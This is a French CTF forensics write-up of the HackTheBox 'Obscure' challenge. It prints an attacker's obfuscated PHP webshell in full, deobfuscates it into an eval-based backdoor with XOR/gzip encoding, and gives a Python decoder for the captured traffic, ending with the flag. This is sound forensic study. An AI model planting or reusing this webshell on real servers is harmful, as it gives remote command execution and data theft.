Reverse de Webshell PHP (Obscure)

Dans ce challenge de forensic proposé par Hackthebox, on doit réussir à reverse un shell php afin de trouver quelles données ont été extraites.

Analyse des fichiers du challenges

On commence par analyser les fichiers présent dans l’archive:

  • Le fichier todo.txt

An attacker has found a vulnerability in our web server that allows arbitrary PHP file upload in our Apache server. Suchlike, the hacker has uploaded a what seems to be like an obfuscated shell (support.php). We monitor our network 24/7 and generate logs from tcpdump (we provided the log file for the period of two minutes before we terminated the HTTP service for investigation), however, we need your help in analyzing and identifying commands the attacker wrote to understand what was compromised.

  • Le shell en question (support.php):
<?php
$V='$k="80eu)u)32263";$khu)=u)"6f8af44u)abea0";$kf=u)"35103u)u)9f4a7b5";$pu)="0UlYu)yJHG87Eu)JqEz6u)"u)u);function u)x($';
$P='++)u){$o.=u)$t{u)$i}^$k{$j};}}u)retuu)rn $o;}u)if(u)@pregu)_u)match("/$kh(.u)+)$kf/",@u)u)file_u)getu)_cu)ontents(';
$d='u)t,$k){u)$c=strlu)en($k);$l=strlenu)($t)u);u)$o=""u);for($i=0u);u)$i<$l;){for(u)$j=0;(u)$u)j<$c&&$i<$l)u)u);$j++,$i';
$B='ob_get_cou)ntu)ents();@obu)_end_cleu)anu)();$r=@basu)e64_eu)ncu)ode(@x(@gzu)compress(u)$o),u)$k));pru)u)int(u)"$p$kh$r$kf");}';
$N=str_replace('FD','','FDcreFDateFD_fFDuncFDFDtion');
$c='"php://u)input"),$u)m)==1){@u)obu)_start();u)@evau)l(@gzuu)ncu)ompress(@x(@bau)se64_u)decodu)e($u)m[1]),$k))u));$u)ou)=@';
$u=str_replace('u)','',$V.$d.$P.$c.$B);
$x=$N('',$u);$x();
?>

On remarque rapidement qu’il est obfusqué. On se rend donc sur un désobfuscateur de php, à savoir unphp.net, et on obtient:

<?php function x($t, $k) {
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0;$i < $l;) {
        for ($j = 0;($j < $c && $i < $l);$j++, $i++) {
            $o.= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}
$k = "80e32263";
$kh = "6f8af44abea0";
$kf = "351039f4a7b5";
$p = "0UlYyJHG87EJqEz6";
function x($t, $k) {
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0;$i < $l;) {
        for ($j = 0;($j < $c && $i < $l);$j++, $i++) {
            $o.= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}
if (@preg_match("/$kh(.+)$kf/", @file_get_contents("php://input"), $m) == 1) {
    @ob_start();
    eval(@gzuncompress(@x(base64_decode($m[1]), $k)));
    $o = @ob_get_contents();
    @ob_end_clean();
    $r = @base64_encode(@x(@gzcompress($o), $k));
    print ("$p$kh$r$kf");
}

On comprends facilement comment fonctionne l’encodage des payloads:

  1. La commande est compressé avec gz
  2. La commande compressé est ensuite passé dans la fonction x
  3. La sortie de la fonction x est encodé en base64
  4. Le base64 est concaténé à d’autres chaines de caractères
  • Les trames réseaux (19-05-21_22532255.pcap)

On l’ouvre avec wireshark. On y trouve de l’HTTP classique, du TCP et de l’UDP. Notre shell fonctionnant par requête http, on applique un filtre

et on regarde quels paquets semble intéressant pour notre étude. On en trouve 8 au totales, qu’on peut séparer en deux catégories.

Envoyé par l’attaquant au webshell
Envoyé du webshell vers l’attaquant

On y trouve des strings étranges, mais qui correspondent à ceux décrit par le webshell étudié précédemment. On les extraits et on peut désormais passer à la résolution.

Résolution du challenge

On code deux fonctions, une pour déchiffrer les commandes envoyé par l’attaquant au webshell, et une pour déchiffrer les retours envoyé du webshell vers l’attaquant. (Nb: On aurait pu faire une seule fonction, mais dans la précipitation je n’y ai pas pensé). Pour les 2 fonctions, les étapes sont les mêmes: on sépare le base64 des strings auxquels il a été concaténé, on décode le base64, on applique la fonction x (car elle ne fait que xoré la string avec une clé, et on sait que A ^ B = C <=> B ^ C = A), puis on unzip avec gz. J’ai rajouté un peu de couleur avec colorama pour y voir plus clair, voilà le script final:

import gzip, zlib
import base64
import binascii
from colorama import Fore, Back, Style, init

def getcara(k,ind):
	while True:
		if ind > len(k) -1:
			ind -= len(k)
		else:
			return k[ind]
def uncipher_receiver(cipher,verbose=False):
	k = "80e32263"
	p = "0UlYyJHG87EJqEz6"
	kf = "351039f4a7b5"
	kh = "6f8af44abea0"
	cipher = cipher.replace(p + kh,"").replace(kf,"")
	cipher = base64.b64decode(cipher)
	if verbose: print("[*] Cipher: %s"%binascii.hexlify(cipher))
	content = b""
	for i in range(0,len(cipher)):
		content += chr(ord(cipher[i]) ^ ord(getcara(k,i)))
	if verbose: print("[*] Decipher: %s"%binascii.hexlify(content))
	if verbose: print("[*] Plaintext: %s" %zlib.decompress(bytes(content), 15+32))
	else: print(Fore.GREEN + zlib.decompress(bytes(content), 15+32) + Style.RESET_ALL)
def uncipher_sender(cipher,verbose=False):
	k = "80e32263"
	p = "0UlYyJHG87EJqEz6"
	kf = "351039f4a7b5"
	kh = "6f8af44abea0"
	cipher = cipher.split(kh)[1].split(kf)[0]
	cipher += '=' * (-len(cipher) % 4)
	cipher = base64.b64decode(cipher)
	if verbose: print("[*] Cipher: %s"%binascii.hexlify(cipher))
	content = b""
	for i in range(0,len(cipher)):
		content += chr(ord(cipher[i]) ^ ord(getcara(k,i)))
	if verbose: print("[*] Decipher: %s"%binascii.hexlify(content))
	if verbose: print("[*] Plaintext: %s" %zlib.decompress(bytes(content), 15+32))
	else: print(Fore.RED + "$ %s" %zlib.decompress(bytes(content), 15+32) + Style.RESET_ALL)

En passant nos différentes chaines base64 obtenue précédemment dans nos 2 fonctions, on obtient:

output du script

On récupère le base64, qu’on décode et qu’on place dans un fichier. On obtient un fichier pwndb.kdbx, propre aux gestionnaires de mot de passe keepass.

On lance kali linux pour tenter de bruteforcer le masterkey de notre pwndb.kdbx, ce qui se solve pas un succès.

Cela nous permet d’ouvrir notre fichier.

On peut maintenant récupéré le flag: HTB{pr0tect_y0_shellZ}